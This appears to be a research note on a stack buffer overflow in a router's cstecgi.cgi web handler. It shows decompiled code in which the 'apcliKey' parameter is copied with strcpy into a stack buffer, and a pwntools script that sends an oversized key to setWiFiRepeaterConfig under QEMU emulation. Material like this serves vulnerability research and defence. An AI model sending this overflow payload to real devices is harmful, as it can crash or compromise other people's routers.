

```
Pecompile: FUN_0041bac4 - (cstecgi_not_test.cgi)
      local_1b0 = 0;
 76
 77
      local_1ac = 0;
 78
      local_1a8 = 0;
 79
      local_1a4 = 0;
 80
      local_1a0 = 0;
 81
      local_19c = 0;
 82
      local_198 = 0;
      local_194 = 0;
 83
      local_190 = 0;
 85
      local 18c = 0;
      uVar2 = websGetVar(param_1,"apcliSsid","");
 86
      uVar3 = websGetVar(param_1, "apcliBssid", "");
 87
      __s1 = (char *)websGetVar(param_1,"apcliAuthMode","");
 88
 89
       <u>_s1_00 = (char *)websGetVar(param_1,"apcliEncryp</u>Type","");
       __s = (char *)websGetVar(param_1,"apcliKey","");
 90
 91
      pcVar4 = (char *)websGetVar(param_1, "apcliChannel", "0");
 92
      local_184 = atoi(pcVar4);
      pcVar4 = (char *)websGetVar(param_1, "apcliKeyFormat", "0");
 93
 94
      local_180 = atoi(pcVar4);
 95
      pcVar4 = (char *)websGetVar(param_1, "operationMode", "1");
 96
      local_17c = atoi(pcVar4);
 97
      pcVar4 = (char *)websGetVar(param_1,"wifiIdx","0");
 98
      local_178 = atoi(pcVar4);
      sprintf((char *)&local_1b0,"wlan%d",local_178);
 99
       sprintf((char *)&local_1a8,"wlan%d-vxd",local_178);
100
       sprintf((char *)&local_198,"wlan%d-vxd",1 - local_178);
101
102
      SetWlan_idx(&local_1b0);
202
           local_74 = 1;
           iVar5 = strncmp(__s1_00,(char *)&DAT_0042c9b8,5);
203
204
           local_68 = (uint)(iVar5 != 0);
205
           if (local_180 == 1) {
206
             if (sVar6 == 10) {
207
                local_70 = 1;
208
             }
209
             else {
210
                if (sVar6 == 0x1a) {
211
                  local 70 = 2;
212
213
             }
214
             string_to_hex(__s,&local_64);
215
           }
216
           else {
             if (sVar6 == 5) {
217
218
                local_70 = 1;
219
             }
220
             else {
221
                if (sVar6 == 0xd) {
222
                  local_70 = 2;
223
                }
224
              strcpy((char *)&local_64,__s);
225
226
```

```
from pwn import *
import json
data = {
    "topicurl": "setting/setWiFiRepeaterConfig",
    "operationMode": "2",
    "apcliAuthMode": "WEP",
    "apcliKeyFormat": "0",
    "apcliKey": 'A'*0x200,
    "ipAddress": "192.168.2.1"
}
data = json.dumps(data)
print(data)
argv = [
    "qemu-mips-static",
    "-g", "1234",
    "-L", "./lib",
    "-E", "LD_PRELOAD=./hook.so",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]
a = process(argv=argv)
a.sendline(data.encode())
a.interactive()
```